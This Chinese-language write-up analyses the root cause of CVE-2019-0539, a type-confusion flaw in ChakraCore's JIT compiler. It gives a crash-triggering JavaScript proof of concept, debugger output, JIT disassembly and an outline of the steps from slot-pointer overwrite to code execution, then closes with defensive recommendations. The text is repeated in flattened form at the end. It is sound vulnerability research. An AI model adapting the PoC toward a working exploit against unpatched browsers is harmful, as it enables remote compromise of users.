CVE-2019-0539产生的根源分析
字数 982 2025-08-29 08:31:48

CVE-2019-0539漏洞根源分析与利用技术详解

漏洞概述

CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞,由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。

环境搭建

获取有漏洞的ChakraCore版本

git clone https://github.com/Microsoft/ChakraCore.git
cd ChakraCore
git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln

使用Time Travel Debugging (TTD)

TTD是微软推出的高级调试工具,允许记录进程执行并向前或向后重放:

  1. 从微软应用商店安装最新版Windbg
  2. 以管理员权限运行

漏洞原理分析

PoC代码

function opt(o, c, value) {
    o.b = 1;
    class A extends c { // 可能导致对象类型转换
    }
    o.a = value; // 覆盖slot数组指针
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};
    cons.prototype = o; // 使"class A extends c"触发对象类型转换
    opt(o, cons, 0x1234);
    print(o.a); // 访问slot数组指针导致崩溃
}

main();

关键漏洞点

  1. 类型混淆根源

    • 在JIT编译的代码中,对象o最初有两个内联slot(ab)
    • 当执行class A extends c时,OP_InitClass最终调用SetIsPrototype,导致对象类型转换
    • 类型转换后,slot不再内联而是存储在slot数组中
  2. JIT优化假设

    • JIT代码假设对象slot始终是内联的
    • 类型转换后,JIT代码仍以内联方式访问slot,导致可以覆盖slot数组指针
  3. 内存布局变化

转换前对象内存布局

00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`ca3c1d40
00000195`cd274450  00010000`00000001 // 内联slot 1 (a)
00000195`cd274458  00010000`00000001 // 内联slot 2 (b)

转换后对象内存布局

00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00000195`cd2744c0 // slot数组指针(原内联slot 1)
00000195`cd274458  00000000`00000000

漏洞触发流程

  1. JIT代码错误地将0x1234写入本应是内联slot的位置
  2. 实际上覆盖了slot数组指针
  3. 当后续访问对象属性时,尝试从被覆盖的指针(0x1234)处读取,导致访问违例

调试分析

关键断点设置

ba w 8 poi(@rsp+58)+10  // 监控slot数组指针的写入

关键调用栈

chakracore!Js::DynamicTypeHandler::AdjustSlots
chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining
chakracore!PathTypeHandlerBase::ConvertToSimpleDictionaryType
chakracore!PathTypeHandlerBase::SetIsPrototype
chakracore!DynamicObject::SetPrototype
chakracore!Js::JavascriptOperators::OP_InitClass

关键JIT代码

00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000    jne     00000195`cc9c01f7
00000195`cc9c011b 488bc3          mov     rax,rbx
00000195`cc9c011e 48c1e830        shr     rax,30h
00000195`cc9c0122 0f85eb000000    jne     00000195`cc9c0213
00000195`cc9c0128 4c8b6b08        mov     r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5          mov     rax,r13
00000195`cc9c012f 48c1e806        shr     rax,6
00000195`cc9c0133 4883e007        and     rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2            xor     edx,edx
00000195`cc9c0143 4c3b2cc1        cmp     r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000    jne     00000195`cc9c022f
00000195`cc9c014d 480f45da        cmovne  rbx,rdx
00000195`cc9c0151 488b4310        mov     rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610        mov     qword ptr [r14+10h],r12 // 覆盖slot数组指针

漏洞利用思路

  1. 通过类型混淆漏洞覆盖slot数组指针
  2. 构造伪造的slot数组
  3. 通过对象属性访问实现任意地址读取/写入
  4. 最终实现远程代码执行

总结与防御建议

漏洞本质

该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设,未能正确处理类型转换后对象布局的变化,导致类型混淆和内存破坏。

防御措施

  1. 及时更新浏览器和JavaScript引擎
  2. 启用适当的沙箱保护机制
  3. 对JIT编译器进行更严格的对象布局验证
  4. 实现更全面的类型系统检查

研究价值

  1. 展示了JavaScript引擎中JIT编译器的复杂性
  2. 揭示了类型系统实现中的潜在风险
  3. 证明了TTD在漏洞分析中的强大能力
  4. 为后续JIT编译器安全设计提供了重要参考
CVE-2019-0539漏洞根源分析与利用技术详解 漏洞概述 CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞,由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。 环境搭建 获取有漏洞的ChakraCore版本 使用Time Travel Debugging (TTD) TTD是微软推出的高级调试工具,允许记录进程执行并向前或向后重放: 从微软应用商店安装最新版Windbg 以管理员权限运行 漏洞原理分析 PoC代码 关键漏洞点 类型混淆根源 : 在JIT编译的代码中,对象 o 最初有两个内联slot( a 和 b ) 当执行 class A extends c 时, OP_InitClass 最终调用 SetIsPrototype ,导致对象类型转换 类型转换后,slot不再内联而是存储在slot数组中 JIT优化假设 : JIT代码假设对象slot始终是内联的 类型转换后,JIT代码仍以内联方式访问slot,导致可以覆盖slot数组指针 内存布局变化 : 转换前对象内存布局 : 转换后对象内存布局 : 漏洞触发流程 JIT代码错误地将 0x1234 写入本应是内联slot的位置 实际上覆盖了slot数组指针 当后续访问对象属性时,尝试从被覆盖的指针( 0x1234 )处读取,导致访问违例 调试分析 关键断点设置 关键调用栈 关键JIT代码 漏洞利用思路 通过类型混淆漏洞覆盖slot数组指针 构造伪造的slot数组 通过对象属性访问实现任意地址读取/写入 最终实现远程代码执行 总结与防御建议 漏洞本质 该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设,未能正确处理类型转换后对象布局的变化,导致类型混淆和内存破坏。 防御措施 及时更新浏览器和JavaScript引擎 启用适当的沙箱保护机制 对JIT编译器进行更严格的对象布局验证 实现更全面的类型系统检查 研究价值 展示了JavaScript引擎中JIT编译器的复杂性 揭示了类型系统实现中的潜在风险 证明了TTD在漏洞分析中的强大能力 为后续JIT编译器安全设计提供了重要参考